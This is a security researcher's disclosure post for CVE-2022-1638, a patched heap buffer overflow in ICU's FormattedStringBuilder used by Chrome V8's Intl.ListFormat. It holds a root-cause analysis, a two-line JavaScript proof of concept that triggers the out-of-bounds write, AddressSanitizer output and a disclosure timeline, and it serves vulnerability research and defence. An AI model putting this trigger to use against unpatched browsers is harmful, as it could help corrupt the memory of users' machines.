본문 바로가기
Real World Analysis/0-day

[0-Day] CVE-2022-1638 ($5,000) - Google Chrome V8 Internationalization Heap Buffer Overflow Vulnerability

by l33d0hyun 2022. 8. 7.
Google Chrome

Title

  • Integer Overflow Leading to OOB Write/Heap-based Buffer Overflow in icu_71::FormattedStringBuilder::insert

Summary

  • A OOB Write/Heap-based Buffer Overflow vulnerability exists in the icu_71::FormattedStringBuilder::insert
  • An attacker must open a arbitrary generated HTML file to exploit this vulnerability.

Security Severity

  • 8.8 High (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

Test environment

  • MacOS Monterey 12.3.1(21E258)
  • Chrome 100.0.4896.127 (Stable Channel)
  • asan-mac-release-993256

Root Cause Analysis

int32_t FormattedStringBuilder::insert(int32_t index, const UnicodeString &unistr, Field field,
                                    UErrorCode &status) {
    if (unistr.length() == 0) {
        // Nothing to insert.
        return 0;
    } else if (unistr.length() == 1) {
        // Fast path: insert using insertCodePoint.
        return insertCodePoint(index, unistr.charAt(0), field, status);
    } else {
        return insert(index, unistr, 0, unistr.length(), field, status); // [1]
    }
}
int32_t
FormattedStringBuilder::insert(int32_t index, const UnicodeString &unistr, int32_t start, int32_t end,
                            Field field, UErrorCode &status) {
    int32_t count = end - start;
    int32_t position = prepareForInsert(index, count, status); // [2]
    if (U_FAILURE(status)) {
        return count;
    }
    for (int32_t i = 0; i < count; i++) {
        getCharPtr()[position + i] = unistr.charAt(start + i); // [3]
        getFieldPtr()[position + i] = field;
    }
    return count;
}

[1] https://source.chromium.org/chromium/chromium/src/+/main:third_party/icu/source/i18n/formatted_string_builder.cpp;l=175?q=FormattedStringBuilder::insert

[2] https://source.chromium.org/chromium/chromium/src/+/main:third\_party/icu/source/i18n/formatted\_string\_builder.cpp;l=183?q=FormattedStringBuilder::insert

[3] https://source.chromium.org/chromium/chromium/src/+/main:third_party/icu/source/i18n/formatted_string_builder.cpp;l=188?q=FormattedStringBuilder::insert

In the FormattedStringBuilder::insert function [2], the return value of prepareForInsert is stored in the position variable.
Return FormattedStringBuilder::prepareForInsertHelper when all branch statements are false from FormattedStringBuilder::prepareForInsert function.
Here, the validation of the returned value from this function is not done, resulting in an integer overflow.
Returning to the FormattedStringBuilder::insert function again, you can see large integer are input into the position variable and the position variable is input at the index of the array in the code [3].
v8 crashes with Out-Of-Bounds Write (Heap-Based Buffer Overflow).

Proof-of-Concept

var s = "a".repeat(0xFFFFFFE);
print("len: ", new Intl.ListFormat().format(Array(16).fill(s)).length);

Reproduce

  • ./d8 poc.js

Address Sanitizer

(base) dnslab@dnslabui-iMac ~/D/asan-mac-release-993256> ./d8 test.js 
d8(93143,0x117bb0600) malloc: nano zone abandoned due to inability to preallocate reserved vm space.
=================================================================
==93143==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x0005c00397f8 at pc 0x00010a3320f4 bp 0x7ff7b89bbdc0 sp 0x7ff7b89bbdb8
WRITE of size 2 at 0x0005c00397f8 thread T0
    #0 0x10a3320f3 in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, int, int, icu_71::FormattedStringBuilder::Field, UErrorCode&) formatted_string_builder.cpp:188
    #1 0x10a331aca in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, icu_71::FormattedStringBuilder::Field, UErrorCode&) formatted_string_builder.cpp:175
    #2 0x10a348d12 in icu_71::(anonymous namespace)::FormattedListBuilder::append(icu_71::SimpleFormatter const&, icu_71::UnicodeString const&, int, UErrorCode&) listformatter.cpp:602
    #3 0x10a347f77 in icu_71::ListFormatter::formatStringsToValue(icu_71::UnicodeString const*, int, UErrorCode&) const listformatter.cpp:717
    #4 0x10847b27d in v8::internal::JSListFormat::FormatList(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSListFormat>, v8::internal::Handle<v8::internal::FixedArray>) js-list-format.cc:281
    #5 0x108acf165 in v8::internal::Runtime_FormatList(int, unsigned long*, v8::internal::Isolate*) runtime-intl.cc:36
    #6 0x10a074677 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x37 (d8:x86_64+0x102b34677) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #7 0x10a101c41 in Builtins_ListFormatPrototypeFormat+0x81 (d8:x86_64+0x102bc1c41) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #8 0x109ff60a2 in Builtins_InterpreterEntryTrampoline+0xe2 (d8:x86_64+0x102ab60a2) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #9 0x109ff461b in Builtins_JSEntryTrampoline+0x5b (d8:x86_64+0x102ab461b) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #10 0x109ff4346 in Builtins_JSEntry+0x86 (d8:x86_64+0x102ab4346) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #11 0x107a8ab01 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:425
    #12 0x107a8c316 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) execution.cc:534
    #13 0x1075e069c in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) api.cc:2148
    #14 0x10755d813 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::PrintResult, v8::Shell::ReportExceptions, v8::Shell::ProcessMessageQueue) d8.cc:773
    #15 0x10758b2f3 in v8::SourceGroup::Execute(v8::Isolate*) d8.cc:3992
    #16 0x107592769 in v8::Shell::RunMain(v8::Isolate*, bool) d8.cc:4707
    #17 0x1075979b6 in v8::Shell::Main(int, char**) d8.cc:5528
    #18 0x117b3551d in start+0x1cd (dyld:x86_64+0x551d) (BuildId: dd9e80defb3b349b96a446874ad34d1132000000200000000100000000030c00)

0x0005c00397f8 is located 0 bytes to the right of 4294967288-byte region [0x0004c0039800,0x0005c00397f8)
allocated by thread T0 here:
    #0 0x10c725550  (libclang_rt.asan_osx_dynamic.dylib:x86_64+0x47550) (BuildId: 2d8a55079e643bcc85fe4b63b45db9d8240000001000000000070a0000010b00)
    #1 0x10a333560 in icu_71::FormattedStringBuilder::prepareForInsertHelper(int, int, UErrorCode&) formatted_string_builder.cpp:288
    #2 0x10a331d03 in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, int, int, icu_71::FormattedStringBuilder::Field, UErrorCode&) formatted_string_builder.cpp:183
    #3 0x10a331aca in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, icu_71::FormattedStringBuilder::Field, UErrorCode&) formatted_string_builder.cpp:175
    #4 0x10a348d12 in icu_71::(anonymous namespace)::FormattedListBuilder::append(icu_71::SimpleFormatter const&, icu_71::UnicodeString const&, int, UErrorCode&) listformatter.cpp:602
    #5 0x10a347f77 in icu_71::ListFormatter::formatStringsToValue(icu_71::UnicodeString const*, int, UErrorCode&) const listformatter.cpp:717
    #6 0x10847b27d in v8::internal::JSListFormat::FormatList(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSListFormat>, v8::internal::Handle<v8::internal::FixedArray>) js-list-format.cc:281
    #7 0x108acf165 in v8::internal::Runtime_FormatList(int, unsigned long*, v8::internal::Isolate*) runtime-intl.cc:36
    #8 0x10a074677 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x37 (d8:x86_64+0x102b34677) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #9 0x10a101c41 in Builtins_ListFormatPrototypeFormat+0x81 (d8:x86_64+0x102bc1c41) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #10 0x109ff60a2 in Builtins_InterpreterEntryTrampoline+0xe2 (d8:x86_64+0x102ab60a2) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #11 0x109ff461b in Builtins_JSEntryTrampoline+0x5b (d8:x86_64+0x102ab461b) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #12 0x109ff4346 in Builtins_JSEntry+0x86 (d8:x86_64+0x102ab4346) (BuildId: 4c4c443a55553144a14f089e2214cc7d2400000010000000000b0a0000030c00)
    #13 0x107a8ab01 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:425
    #14 0x107a8c316 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) execution.cc:534
    #15 0x1075e069c in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) api.cc:2148
    #16 0x10755d813 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::PrintResult, v8::Shell::ReportExceptions, v8::Shell::ProcessMessageQueue) d8.cc:773
    #17 0x10758b2f3 in v8::SourceGroup::Execute(v8::Isolate*) d8.cc:3992
    #18 0x107592769 in v8::Shell::RunMain(v8::Isolate*, bool) d8.cc:4707
    #19 0x1075979b6 in v8::Shell::Main(int, char**) d8.cc:5528
    #20 0x117b3551d in start+0x1cd (dyld:x86_64+0x551d) (BuildId: dd9e80defb3b349b96a446874ad34d1132000000200000000100000000030c00)

SUMMARY: AddressSanitizer: heap-buffer-overflow formatted_string_builder.cpp:188 in icu_71::FormattedStringBuilder::insert(int, icu_71::UnicodeString const&, int, int, icu_71::FormattedStringBuilder::Field, UErrorCode&)
Shadow bytes around the buggy address:
  0x1000b80072a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000b80072b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000b80072c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000b80072d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000b80072e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000b80072f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]
  0x1000b8007300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1000b8007310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1000b8007320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1000b8007330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1000b8007340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==93143==ABORTING
Received signal 6

==== C stack trace ===============================

 [0x00010a27235e]
 [0x7ff8137b2dfd]
 [0x7ff7b89bac78]
 [0x7ff8136e8d24]
 [0x00010c74a7a6]
 [0x00010c749f04]
 [0x00010c72d9d7]
 [0x00010c72cc7c]
 [0x00010c72e16b]
 [0x00010a3320f4]
 [0x00010a331acb]
 [0x00010a348d13]
 [0x00010a347f78]
 [0x00010847b27e]
 [0x000108acf166]
 [0x00010a074678]
 [0x00010a101c42]
 [0x000109ff60a3]
[end of stack trace]

CREDIT Information

  • DoHyun Lee (@l33d0hyun) of DNSLab, Korea University

Patch & Release

Timeline

  • 2022-04-18 : Vendor Report
  • 2022-04-20 : Vendor Assigned
  • 2022-04-22 : Vendor Investigating
  • 2022-04-30 : Fixed
  • 2022-05-10 : Published (CVE-2022-1638)

댓글